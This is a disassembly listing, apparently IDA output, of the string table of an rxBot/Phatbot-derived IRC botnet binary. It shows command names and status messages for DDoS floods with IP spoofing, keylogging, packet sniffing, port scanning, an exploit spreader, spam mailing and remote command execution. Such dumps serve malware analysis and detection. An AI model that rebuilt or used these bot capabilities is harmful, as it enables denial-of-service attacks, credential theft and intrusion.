aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 10h
unk_42AF20	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AF58	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42AFA0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42AFD8	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42B010	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_42B054	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_42B09C	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
					; ___:004382D0o ...
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
					; ___:004382C8o ...
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 4
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_42B1D8	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B214	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 4
unk_42B25C	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 10h
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:00438300o ...
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
					; ___:004382B8o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 4
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 10h
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 10h
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 10h
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 4
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:00438310o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 4
aA:					; DATA XREF: sub_401ACD+48ACo
					; ___:004382D4o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
		align 10h
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
unk_42B3EC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B408	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_42B434	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B454	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B474	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B494	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 10h
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 4
unk_42B4DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B4FC	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
		align 4
unk_42B528	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
dword_42B564	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 10h
dword_42B5A0	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 4
dword_42B5C4	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 4
dword_42B5E4	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 10h
dword_42B610	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_42B65C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42B67C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B6B4	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B6E8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B714	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
unk_42B73C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B76C	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B7AC	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_42B818	db  2Dh	; -		; DATA XREF: sub_401ACD+41E6o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_1	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41AFo
dword_42B840	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C71o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B86C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+419Ao
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B8A8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+416Ao
aFailedToSta_18	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B8E4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40FBo
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B914	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4094o
aAlreadyRunni_2	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+4074o
					; sub_401ACD+41C6o ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+405Do
		align 10h
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+4048o
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4033o
		align 10h
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+401Eo
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4009o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+3FF4o
		align 10h
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FDFo
aV:					; DATA XREF: sub_401ACD+3FCAo
					; ___:00438304o ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FB5o
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FA0o
		align 4
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F8Bo
		align 10h
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F76o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F4Co
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F37o
					; sub_401ACD+4644o
		align 10h
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F22o
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EF8o
		align 10h
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE3o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ECEo
		align 10h
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA4o
		align 4
aO:					; DATA XREF: sub_401ACD+3E7Ao
					; ___:00438634o
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E50o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E3Bo
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E26o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E11o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DFCo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DE7o
		align 10h
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DBDo
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D93o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D7Eo
		align 4
aJ:					; DATA XREF: sub_401ACD+3D54o
					; ___:004382ECo ...
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D2Ao
					; ___:0043830Co ...
		unicode	0, <n>,0
unk_42BA0C	db  2Dh	; -		; DATA XREF: sub_401ACD+3CF6o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C69o
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3C10o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B43o
dword_42BA6C	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AEFo
					; sub_401ACD+3B26o
		dd 0
dword_42BA84	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3AB8o
		dd 1
dword_42BA9C	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A81o
					; sub_401ACD+3B98o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+3A2Co
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3997o
					; sub_401ACD+39D3o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+393Do
		align 10h
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+384Eo
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+3807o
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+3705o
					; sub_401ACD+3D15o
		align 4
dword_42BAE4	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+36E8o
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42BB0C	dd 636364h		; DATA XREF: sub_401ACD+366Bo
dword_42BB10	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo
dword_42BB1C	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+3501o
					; sub_401ACD+3762o ...
dword_42BB24	dd 69257325h, 0		; DATA XREF: sub_401ACD+34E6o
					; sub_40ACB5+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+34A5o
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3488o
					; sub_401ACD+3578o ...
		align 10h
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+3461o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+3444o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+3422o
					; sub_401ACD+3D69o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+3405o
					; sub_401ACD+354Co ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+33E3o
					; sub_401ACD+3D3Fo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+33C6o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o
		align 10h
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+335Ao
		align 10h
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+330Bo
		align 4
dword_42BB94	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32EEo
dword_42BBA8	dd 7463h		; DATA XREF: sub_401ACD+329Fo
dword_42BBAC	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o
					; sub_401ACD+38A8o ...
dword_42BBBC	dd 5Fh			; DATA XREF: sub_401ACD+3253o
					; sub_401ACD+32BFo ...
dword_42BBC0	dd 6D70h		; DATA XREF: sub_401ACD+3233o
					; sub_401ACD+487Eo
unk_42BBC4	db  2Dh	; -		; DATA XREF: sub_401ACD+3201o
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 10h
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3181o
		align 10h
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+316Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3155o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+3140o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+312Bo
		align 4
unk_42BC2C	db  2Dh	; -		; DATA XREF: sub_401ACD+3120o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42BC6C	db  2Dh	; -		; DATA XREF: sub_401ACD+30AEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+3028o
unk_42BCA4	db  2Dh	; -		; DATA XREF: sub_401ACD+300Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 10h
unk_42BCD0	db  2Dh	; -		; DATA XREF: sub_401ACD+2FF0o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2FCCo
		align 10h
unk_42BD10	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_404A40o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_404A22o
					; sub_401ACD+3F61o
unk_42BD4C	db  2Dh	; -		; DATA XREF: sub_401ACD+2EDAo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_42BD78	db  2Dh	; -		; DATA XREF: sub_401ACD+2ED2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 4
dword_42BDA4	dd 234032Dh, 6E69616Dh,	202D0302h, 7325h ; DATA	XREF: sub_401ACD+2E7Do
unk_42BDB4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40493Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 4
dword_42BE64	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E4Bo
aFailedToSta_19	db '- Failed to start secure thread, error: <%d>.',0
		align 10h
dword_42BEA0	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2DD1o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2DCBo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2DC4o
		align 4
unk_42BED4	db  2Dh	; -		; DATA XREF: sub_401ACD+2D4Do
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_20	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BF14	db  2Dh	; -		; DATA XREF: sub_401ACD+2CC9o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 10h
dword_42BF40	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C47o
aFailedToSta_21	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BF7C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2BD8o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BFA4	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2B25o
dword_42BFB4	dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o
dword_42BFC0	dd 234032Dh, 636F7270h,	2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do
dword_42BFD0	dd 636F7250h, 20737365h, 7473696Ch, 0 ;	DATA XREF: sub_401ACD+2B08o
dword_42BFE0	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: sub_401ACD+2A95o
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o
					; sub_401ACD:loc_409778o ...
		align 4
dword_42C014	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: sub_401ACD+2A73o
		dd 6E697463h, 2E67h
